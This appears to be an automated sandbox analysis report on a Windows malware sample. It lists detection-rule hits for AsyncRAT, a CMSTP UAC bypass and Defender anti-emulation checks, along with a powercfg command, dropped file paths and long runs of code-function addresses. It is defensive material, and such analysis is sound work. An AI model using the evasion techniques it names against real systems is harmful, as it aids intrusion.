Source: 43.2.cmd.exe.584da00.4.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 21.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 43.2.cmd.exe.5892acd.5.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40fd3b0.7.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.41b1480.8.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 43.2.cmd.exe.58936cd.2.raw.unpack, type: UNPACKEDPE	Matched rule: Detects Windows exceutables bypassing UAC using CMSTP COM interfaces. MITRE (T1218.003) Author: ditekSHen
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.40d2380.6.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 13.2.9AvIIxRx9oZhX7WUPPobrACv.exe.4186450.5.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 43.2.cmd.exe.5ed00c8.7.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 42.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 42.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 43.2.cmd.exe.5ed00c8.7.raw.unpack, type: UNPACKEDPE	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 8.2.lDkIjEVcMx3R04EqAu4plnem.exe.35a5570.1.unpack, type: UNPACKEDPE	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000002A.00000002.2655648298.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: 0000002B.00000002.2538372639.0000000005ED0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects AsyncRAT Author: ditekSHen
Source: 00000015.00000002.3073511596.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Detects executables containing potential Windows Defender anti-emulation checks Author: ditekSHen
Source: Process Memory Space: lDkIjEVcMx3R04EqAu4plnem.exe PID: 7988, type: MEMORYSTR	Matched rule: Detects Molerats sample - July 2017 Author: Florian Roth
Source: Process Memory Space: RegAsm.exe PID: 7492, type: MEMORYSTR	Matched rule: Detects Molerats sample - July 2017 Author: Florian Roth
Source: C:\Users\user\AppData\Local\Temp\jnpqblobe, type: DROPPED	Matched rule: Detects AsyncRAT Author: ditekSHen

Uses powercfg.exe to modify the power settings

Source: C:\Users\user\Documents\piratemamm\U6y3wrWv6W7x1LKCsdmr6zZR.exe

Process created: C:\Windows\System32\powercfg.exe C:\Windows\system32\powercfg.exe /x -hibernate-timeout-ac 0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042C8F0 __aulldiv,VirtualAlloc,__aulldiv,__aulldiv,NtQuerySystemInformation,__aulldiv,WideCharToMultiByte,CharToOemA,VirtualFree,__aulldiv,	2_2_0042C8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B34F280 NtQueryVirtualMemory,GetProcAddress,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	20_2_6B34F280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3AB910 rand_s,NtQueryVirtualMemory,NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,GetLastError,	20_2_6B3AB910
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3AB8C0 rand_s,NtQueryVirtualMemory,	20_2_6B3AB8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3AB700 NtQueryVirtualMemory,RtlNtStatusToDosError,RtlSetLastWin32Error,	20_2_6B3AB700

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,	6_2_00403883
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_0040936C GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueA,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,	9_2_0040936C
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_00403883 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoW,GetCommandLineW,GetModuleHandleW,CharNextW,GetTempPathW,GetWindowsDirectoryW,lstrcatW,DeleteFileW,OleUninitialize,ExitProcess,lstrcatW,lstrcmpiW,CreateDirectoryW,SetCurrentDirectoryW,DeleteFileW,CopyFileW,CloseHandle,GetCurrentProcess,InitOnceBeginInitialize,ExitWindowsEx,	12_2_00403883

Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	File created: C:\Windows\OpenedResearcher	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	File created: C:\Windows\SimonAmounts	Jump to behavior
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	File created: C:\Windows\TherebyJoke
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	File created: C:\Windows\BlahAdobe
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	File created: C:\Windows\AspResistance
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	File created: C:\Windows\OvenJa
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	File created: C:\Windows\MrnaMatches
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	File created: C:\Windows\VotingApps

Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_05BC5DF1	0_2_05BC5DF1
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_05BE0040	0_2_05BE0040
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_032F536F	0_2_032F536F
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_032F5380	0_2_032F5380
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_032F5128	0_2_032F5128
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_032F4F29	0_2_032F4F29
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07252548	0_2_07252548
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07254A58	0_2_07254A58
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_072519D8	0_2_072519D8
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07250040	0_2_07250040
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07252F21	0_2_07252F21
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07253F08	0_2_07253F08
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07255FE7	0_2_07255FE7
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07255FF8	0_2_07255FF8
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07252539	0_2_07252539
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07259204	0_2_07259204
Source: C:\Users\user\Desktop\kqS23MOytx.exe	Code function: 0_2_07250006	0_2_07250006
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00436240	2_2_00436240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042C200	2_2_0042C200
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004302D0	2_2_004302D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0049A350	2_2_0049A350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C2320	2_2_004C2320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004B0570	2_2_004B0570
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004346A0	2_2_004346A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00442750	2_2_00442750
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004348C0	2_2_004348C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004BA8A0	2_2_004BA8A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00508AF0	2_2_00508AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0047EBB0	2_2_0047EBB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004C4CB0	2_2_004C4CB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00440D00	2_2_00440D00
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00426DA0	2_2_00426DA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00496E50	2_2_00496E50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004B6F60	2_2_004B6F60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004BD190	2_2_004BD190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00431370	2_2_00431370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004213A0	2_2_004213A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0046D550	2_2_0046D550
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004CF560	2_2_004CF560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004815D0	2_2_004815D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00451590	2_2_00451590
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00437690	2_2_00437690
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00433770	2_2_00433770
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0049DCC0	2_2_0049DCC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00402100	2_2_00402100
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042A1F0	2_2_0042A1F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004242C0	2_2_004242C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005623FC	2_2_005623FC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005164A5	2_2_005164A5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00422640	2_2_00422640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00402630	2_2_00402630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005126B0	2_2_005126B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005166A0	2_2_005166A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042C8F0	2_2_0042C8F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0041E9E0	2_2_0041E9E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0044A980	2_2_0044A980
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00542CC0	2_2_00542CC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00566CED	2_2_00566CED
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004210E0	2_2_004210E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D110	2_2_0042D110
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00441260	2_2_00441260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00423470	2_2_00423470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00443530	2_2_00443530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0054D52A	2_2_0054D52A
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0040B5E0	2_2_0040B5E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00405640	2_2_00405640
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00543669	2_2_00543669
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_005617E0	2_2_005617E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00421820	2_2_00421820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00425830	2_2_00425830
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0042D8C0	2_2_0042D8C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_004BFB90	2_2_004BFB90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_0054FCF8	2_2_0054FCF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00551D30	2_2_00551D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 2_2_00401E90	2_2_00401E90
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_00D9885D	4_2_00D9885D
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_00D98870	4_2_00D98870
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_00D98AC8	4_2_00D98AC8
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_00D98AB7	4_2_00D98AB7
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_04DCD9E0	4_2_04DCD9E0
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_04DCE748	4_2_04DCE748
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_04DCE739	4_2_04DCE739
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_04DC61D1	4_2_04DC61D1
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_04DC9A70	4_2_04DC9A70
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_04DC9A60	4_2_04DC9A60
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050BEC00	4_2_050BEC00
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050BD7E0	4_2_050BD7E0
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050B2106	4_2_050B2106
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050BAA98	4_2_050BAA98
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050B2C38	4_2_050B2C38
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050BD7D2	4_2_050BD7D2
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050B7048	4_2_050B7048
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050BEBF2	4_2_050BEBF2
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_050BAA92	4_2_050BAA92
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_05102AB8	4_2_05102AB8
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_05104D08	4_2_05104D08
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_05104CF7	4_2_05104CF7
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_05107F14	4_2_05107F14
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_05100007	4_2_05100007
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_05100040	4_2_05100040
Source: C:\Users\user\Documents\piratemamm\IUqoPnH3eiygxjqgC368dFJD.exe	Code function: 4_2_05102AA7	4_2_05102AA7
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Code function: 5_2_02BB8426	5_2_02BB8426
Source: C:\Users\user\Documents\piratemamm\rFOuFGF_bpYT2mD72hQviWI6.exe	Code function: 5_2_02BB8A48	5_2_02BB8A48
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_0040497C	6_2_0040497C
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_00406ED2	6_2_00406ED2
Source: C:\Users\user\Documents\piratemamm\U8E1s2EiwXEdPm57PA0VL_iO.exe	Code function: 6_2_004074BB	6_2_004074BB
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_00404FAA	7_2_00404FAA
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_0041206B	7_2_0041206B
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_0041022D	7_2_0041022D
Source: C:\Users\user\Documents\piratemamm\3Jzm4oFUgYkjO4kKSsY1bNEb.exe	Code function: 7_2_00411F91	7_2_00411F91
Source: C:\Users\user\Documents\piratemamm\lDkIjEVcMx3R04EqAu4plnem.exe	Code function: 8_2_02560B3A	8_2_02560B3A
Source: C:\Users\user\Documents\piratemamm\tmR_9dCV10b0GIVf60jpdpDG.exe	Code function: 9_2_00408330	9_2_00408330
Source: C:\Users\user\Documents\piratemamm\7DyzwtKyuY4CtD_VmEPX58OX.exe	Code function: 11_2_01260B44	11_2_01260B44
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_0040497C	12_2_0040497C
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_00406ED2	12_2_00406ED2
Source: C:\Users\user\Documents\piratemamm\ALyS_8kMpHhhtscK4twnP2yt.exe	Code function: 12_2_004074BB	12_2_004074BB
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0168E3E0	13_2_0168E3E0
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_01684508	13_2_01684508
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_016844D6	13_2_016844D6
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_01684760	13_2_01684760
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_01684750	13_2_01684750
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_01685E72	13_2_01685E72
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0574A578	13_2_0574A578
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_05748540	13_2_05748540
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0574C5C7	13_2_0574C5C7
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_05740040	13_2_05740040
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_05749B90	13_2_05749B90
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0574A572	13_2_0574A572
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_05748530	13_2_05748530
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0574ADB8	13_2_0574ADB8
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0574D9D8	13_2_0574D9D8
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0574D9C7	13_2_0574D9C7
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_0574BB98	13_2_0574BB98
Source: C:\Users\user\Documents\piratemamm\9AvIIxRx9oZhX7WUPPobrACv.exe	Code function: 13_2_05A22FDC	13_2_05A22FDC
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Code function: 14_2_0103B986	14_2_0103B986
Source: C:\Users\user\Documents\piratemamm\0QrWpVvJO2zQ0CVHYo3FGItE.exe	Code function: 14_2_0103B990	14_2_0103B990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3435A0	20_2_6B3435A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B38D320	20_2_6B38D320
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B35C370	20_2_6B35C370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B345340	20_2_6B345340
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B34F380	20_2_6B34F380
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3B53C8	20_2_6B3B53C8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B389A60	20_2_6B389A60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B35CAB0	20_2_6B35CAB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3B2AB0	20_2_6B3B2AB0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3422A0	20_2_6B3422A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B374AA0	20_2_6B374AA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3BBA90	20_2_6B3BBA90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B361AF0	20_2_6B361AF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B38E2F0	20_2_6B38E2F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B388AC0	20_2_6B388AC0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B39B970	20_2_6B39B970
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3BB170	20_2_6B3BB170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B35D960	20_2_6B35D960
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B36A940	20_2_6B36A940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B37D9B0	20_2_6B37D9B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B34C9A0	20_2_6B34C9A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B385190	20_2_6B385190
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3A2990	20_2_6B3A2990
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B38B820	20_2_6B38B820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B394820	20_2_6B394820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B357810	20_2_6B357810
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B38F070	20_2_6B38F070
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B368850	20_2_6B368850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B36D850	20_2_6B36D850
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3760A0	20_2_6B3760A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B36C0E0	20_2_6B36C0E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3858E0	20_2_6B3858E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 20_2_6B3B50C7	20_2_6B3B50C7
